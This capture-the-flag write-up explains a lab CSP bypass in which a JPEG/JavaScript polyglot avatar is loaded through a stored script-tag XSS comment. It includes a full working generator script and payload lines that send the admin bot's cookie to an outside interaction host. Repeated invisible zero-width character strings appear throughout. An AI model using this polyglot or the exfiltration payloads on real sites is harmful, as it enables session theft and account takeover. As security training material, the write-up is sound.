← Back to Writeups
CUSTOMMediumWeb

Lab 280 — InkWell — CSP Bypass via JPEG Polyglot XSS

XESXOR9/10/20266 min read
#web#custom#medium#jpeg_javascript_polyglot#same_origin_csp_bypass#stored_script_injection#path_based_cookie_exfiltration#admin_bot_trigger#linux

Lab 280 — InkWell — CSP Bypass via JPEG Polyglot XSS

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-15 | Status: Solved Techniques: jpeg_javascript_polyglot, same_origin_csp_bypass, stored_script_injection, path_based_cookie_exfiltration, admin_bot_trigger

Summary

Task: InkWell accepts JPEG avatars and raw comments under a self-only CSP, then sends an admin bot to reported comments. Solution: A same-origin JPEG/JavaScript polyglot loaded by a stored script tag executed in HeadlessChrome and leaked the flag cookie through an Interaction Server path.

Lab 280 — InkWell — CSP Bypass via JPEG Polyglot XSS — hackadvisor

Description

InkWell is a multi-author blog with posts, image uploads, profiles, and comments. A strict Content Security Policy protects the site. The goal is to execute JavaScript in the administrator's browser and steal the flag cookie.

Credentials: user@test.com / password123

InkWell looked resistant to ordinary stored XSS because Express/nginx returned a self-only CSP. The exploitable combination was an unsanitized comment, a same-origin avatar upload, missing response MIME metadata, and an admin review bot. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reconnaissance

After authenticating, the relevant response headers were:

http
Content-Security-Policy: default-src 'self'; script-src 'self'
X-Content-Type-Options: nosniff

The login could be reproduced without printing the resulting authenticated cookie:

bash
BASE='https://7debf38d-965d-4b9a-bb25-a7278f2400ea.labs.hackadvisor.io'

curl -sS -c cookies.txt -X POST "$BASE/login" \
  --data-urlencode 'email=user@test.com' \
  --data-urlencode 'password=password123' \
  -o /dev/null

The profile settings form accepted an avatar multipart field. It checked JPEG magic bytes, renamed accepted files to UUIDs, and exposed them at /uploads/<uuid>.jpg on the application origin. A .js filename caused an HTTP 500 response, while a valid JPEG uploaded as .jpg succeeded. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -sS -b cookies.txt -X POST "$BASE/profile/settings" \
  -F 'avatar=@polyglot.jpg;type=image/jpeg'

Inspecting the resulting upload was crucial:

bash
curl -skI "$BASE/uploads/f1e4aab4-7383-4c36-80fd-9626e2ee9dec.jpg"

The uploaded response retained X-Content-Type-Options: nosniff but had no Content-Type header. Thus there was no declared image/jpeg MIME type for nosniff to reject when the resource was requested as a script.

Comments supplied a second half of the chain. POST /api/comments accepted a literal <script> element, and the application rendered it without sanitization. POST /api/report-comment queued a selected comment for a HeadlessChrome administrator to review. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The HTML source also contained this honeypot value:

text
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}

It was an explicit platform decoy and was ignored. Only the cookie recovered from the administrator callback was treated as evidence.

Analysis

Why the CSP was bypassable

The policy blocked inline JavaScript and scripts from foreign origins, but it explicitly permitted scripts from 'self'. Uploading attacker-controlled bytes under /uploads/ therefore placed them on an allowed script origin.

The remaining problem was making one byte sequence valid enough for both consumers: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. The upload validator had to recognize a JPEG.
  2. The browser's JavaScript parser had to execute the same response.

A JPEG begins with the Start of Image and APP0 marker bytes ff d8 ff e0. The next two bytes are the big-endian APP0 segment length. Setting that length to 0x2f2a has two simultaneous meanings:

  • JPEG interprets it as a valid segment length of 12,074 bytes.
  • JavaScript decoded as ISO-8859-1 interprets bytes 2f 2a as /*, opening a block comment.

The large APP0 body hides JPEG data from the JavaScript parser. A JPEG COM segment then contains */=, which closes the JavaScript comment and turns the initial ISO-8859-1 identifier into an assignment target. The payload executes, opens another block comment, and a crafted trailer closes that comment before a line comment absorbs the JPEG EOI bytes. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The importing script must specify charset="ISO-8859-1"; otherwise the JPEG's arbitrary high bytes may fail JavaScript decoding before the comment construction can work.

Exploit chain

The complete chain was:

  1. Generate a valid JPEG/JavaScript polyglot.
  2. Upload it as the profile avatar, placing it at an application-origin /uploads/*.jpg URL.
  3. Store a comment containing an external script element whose src is that URL.
  4. Set charset="ISO-8859-1" so the polyglot parses as intended.
  5. Report the malicious comment to trigger HeadlessChrome review.
  6. Let the JavaScript redirect the administrator to the Interaction Server with document.cookie URL-encoded in the path. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This stored script element was used in the successful instance:

html
<script charset="ISO-8859-1" src="/uploads/f1e4aab4-7383-4c36-80fd-9626e2ee9dec.jpg"></script>

It was stored as comment 80, then comment 80 was submitted through /api/report-comment for administrator review.

Solution

Polyglot generator

The complete generator used for the successful callback was:

python
#!/usr/bin/env python3
"""Generate a JPEG/JavaScript polyglot for the InkWell CSP bypass."""

from io import BytesIO
from pathlib import Path
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

from PIL import Image


CALLBACK = "http://interact/7debf38d-965d-4b9a-bb25-a7278f2400ea/flag/"
# Put the cookie in the URL path because the Interaction Server's compact log
# view omits query strings.
JAVASCRIPT = f"location='{CALLBACK}'+encodeURIComponent(document.cookie)"


def main() -> None:
    out = BytesIO()
    Image.new("RGB", (16, 16), (35, 95, 145)).save(out, "JPEG", quality=75)
    original = out.getvalue()
    assert original[:4] == b"\xff\xd8\xff\xe0"

    old_app0_length = int.from_bytes(original[4:6], "big")
    old_app0_end = 4 + old_app0_length
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # 0x2f2a is both the JPEG APP0 segment length and JavaScript's `/*`.
    new_app0_length = 0x2F2A
    app0_data = original[6:old_app0_end]
    padding = b"\x00" * (new_app0_length - 2 - len(app0_data))

    # JPEG COM data closes the JS comment, executes the payload, then opens a
    # new comment. ISO-8859-1 must be specified by the importing script tag.
    comment_data = b"*/=" + JAVASCRIPT.encode("ascii") + b";/*"
    jpeg_comment = b"\xff\xfe" + (len(comment_data) + 2).to_bytes(2, "big") + comment_data
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    remainder = original[old_app0_end:]
    assert remainder.endswith(b"\xff\xd9")
    assert b"*/" not in remainder[:-2], "JPEG data unexpectedly closes JS comment"
    remainder = remainder[:-2] + b"*////" + remainder[-2:]

    polyglot = original[:4] + b"/*" + app0_data + padding + jpeg_comment + remainder
    Path("polyglot.jpg").write_bytes(polyglot)
    Path("polyglot.js").write_bytes(polyglot)
    print(f"wrote {len(polyglot)} bytes; payload: {JAVASCRIPT}")


if __name__ == "__main__":
    main()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Generate and locally validate the carrier:

bash
python3 make_polyglot.py
python3 - <<'PY'
from PIL import Image
Image.open('polyglot.jpg').verify()
print('valid JPEG')
PY

Artifact verification showed a 12,810-byte valid JPEG, an APP0 length of 0x2f2a, and this COM payload:

javascript
*/=location='http://interact/7debf38d-965d-4b9a-bb25-a7278f2400ea/flag/'+encodeURIComponent(document.cookie);/*

After uploading the file, store the exact script element shown above as a normal comment. The application assigned it ID 80. Reporting that comment made the administrator visit the rendered page, where CSP allowed the /uploads/...jpg script because it was same-origin. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Path-based exfiltration nuance

The first payload used a conventional query string such as:

javascript
location='http://interact/INSTANCE/flag?cookie='+encodeURIComponent(document.cookie)

HeadlessChrome requested /flag, proving JavaScript execution, but the Interaction Server's compact logs omitted query parameters. The exploit itself worked; its telemetry was lossy. Moving the encoded cookie into the URL path made the value visible:

javascript
location='http://interact/INSTANCE/flag/'+encodeURIComponent(document.cookie)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The successful request path was:

text
/flag/flag%3DFLAG%7BREDACTED%7D

URL-decoding the suffix produced:

text
flag=FLAG{REDACTED}

This callback came from HeadlessChrome after reporting comment 80, confirming both code execution and theft of the real administrator flag cookie. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍